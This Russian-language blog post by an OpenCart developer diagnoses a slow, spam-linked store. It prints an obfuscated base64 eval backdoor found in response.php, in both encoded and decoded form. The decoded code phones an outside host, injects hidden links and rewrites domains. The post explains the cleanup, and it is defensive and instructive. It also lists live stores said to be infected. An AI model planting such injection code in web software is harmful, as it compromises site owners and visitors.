категория: , Полезности
✎ Опубликовано: 30.05.2015 ☕ Просмотров: 6866 ✉ Комментарии: 4
Магазин медленно стал работать, выбивает ошибки или появились скрытые ссылки на другие сайты? У вас на сайте уязвимость или вирус!
Приветствую всех владельцев интернет магазинов на базе Opencart. Взяв очередной проект на доработки в одном из заданий было указано, что сайт медленно работает, и в коде появились посторонние ссылки на сайт «myopencart.net«. Для начала, понимая проблему движка, а именно особенности его работы с большим числом товаров, я отключил систему подсчета его количества в категориях, которая работает очень медленно и практически никому не нужна. Но сайт также долго генерировал страницы, и ничего не поменялось.
После этого стало понятно, что дело вовсе не в подсчете товара, особенно если учитывать ссылки, которые были скрыты от пользователя, но были доступны для поисковых систем. Инспектируя исходный код страниц я увидел что перед </body></html> Была ссылка вида
<div style="position:fixed;margin-left:-1500px;"><a href="http://myopencart.net/forum/files/">модули opencart</a> бесплатно.
Даже закрывающего div нет Первое что я проверил — это был шаблон footer.tpl на наличие ссылки. Её там не оказалось, также поиск по всем файлам сайта ничего не дал. Значит, ссылка закодирована. Понимая структуру вывода готового html кода через файл system/library/ response.php а именно через функцию output я её и проверил, и обнаружил что в ней вместо стандартного вывода echo $ouput; прописана закодированная строка в base64:
$ouput = еvаl(basе64_decоde('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
Конечно, мне стало интересно, что в ней происходит. Первый онлайн декодер мне выдал расшифрованную функцию get_page и других пару строк, которые как раз и делают дыру в магазине:
function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return false; break; } } if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput; }else { echo $ouput; }
Именно она формирует бекдор в магазине и прописывает ссылку на свой сайт. Для лечения сайта, замените закодированную строку на:
echo $ouput;
Или замените оригинальный файл response.php который можно скачать с официального репозитория или вытянуть с дистрибутива.
Почему все так происходит? Потому что многие люди любят халяву, то есть получить бесплатно то, что стоит денег. Вы думаете, что варезные сайты просто так дают скачать платные шаблоны, модули и другие инфопродукты бесплатно? Вы ошибаетесь! Скачав взломанный скрипт или сборку, вы делаете дыру в безопасности вашего интернет магазина. Не жалейте денег на покупку, в конце концов не так уж и много стоят скрипты, которые же будут приносить вам прибыль.
P.S. Ради интереса, я проверил сколько магазинов работают с дырами в безопасности, и оказалось что их хватает!
Смотрите их исходный код внизу.
http://emvil.com.ua/pnevmoinctrument
http://ventilyatory.55m.ru/potolochnye-ventiljatory/
http://dk-store.ru.xsph.ru/index.php?route=information/information&information_id=7 (стоит rel="nofollow" оригинальная такая себе защита)
http://www.360trade.ru/
http://mobmax.tmweb.ru/avto-elektronika-tehnika/videoregistratory/
http://www.globaldoors.ru/mezhkomnatnye-dveri/belorusskie-dveri/
и очень много других…
Интересная статистика. А представьте, сколько вообще вот так вот работает магазинов. Так что вывод один – следите за безопасностью ваших интернет магазинов.
Если вы не уверены что с вашим сайтом все хорошо, напишите мне, я смогу быстро глянуть и проконсультировать.
Как и многие, я сталкивался с недобросовестными заказчиками, или просто халявщиками. Как защитить себя от кидков и получить оплату за свои труды?
Читая информацию о рекламе в facebook я нашел кое что интересное
Чистый и валидный HTML и CSS код, Хорошие показатели Google Page Speed, Более 20 модулей в комплекте, Профессиональная техническая поддержка - это только часть того что есть в шаблоне
Исправляем странный баг в Opencart в удаляется товар при копировании. Этот баг присутствует в google chrome
Также в статье хочу выразить благодарность не только Виталию а и другим крутым авторам дополнений с кем приходилось иметь дело
Чтобы принимать Биткоин и Лайткоин в OpenCart, вам не нужно заполнять утомительные документы, проходить проверку и ждать несколько дней. Установите бесплатный модуль и просто введите адрес своего Биткоин и/или Лайткоин кошелька. Тогда все входящие платежи
Монобанк - прогрессивный банк без отделений в котором дают кредитные карточки с хорошим грейс периодом а также возможностью заработать открыв в нем депозит. Именно о нем и пойдет речь
Мы знаем что поисковые роботы любят текст на страницах. Однако публикуя тексты помните предназначена ли эта страница для такого текста
Небольшой пример как можно сделать автоматически содержание описания со скролом при клике на заголовок
Обзор платежного шлюза fondy который позволяет сделать онлайн оплату на сайте за любые товары или услуги
Как оптимизировать сайт для google page speed - обзор основного функционала сервиса от гугл для проверки скорости загрузки страницы
Для того что бы вывести кастомную информацию не надо много кода. Достаточно применить правильный подход и пару строк кода. Читаем в статье.
Как мне "посчастливилось" пощупать UMI CMS особенно со стороны переноса данных и почему меня до сих пор тошнит при слове UMI
В этом обзоре будут выявлены все плюсы и минусы каждого фильтра. Всего в обзоре будет 7 фильтров который продаются и развиваются. По завершению будет дана рекомендация какой же выбрать
Коллеги, давайте предоставлять хороший сервис и поднимать планку качества. Небольшая история как я обращался к разным разработчикам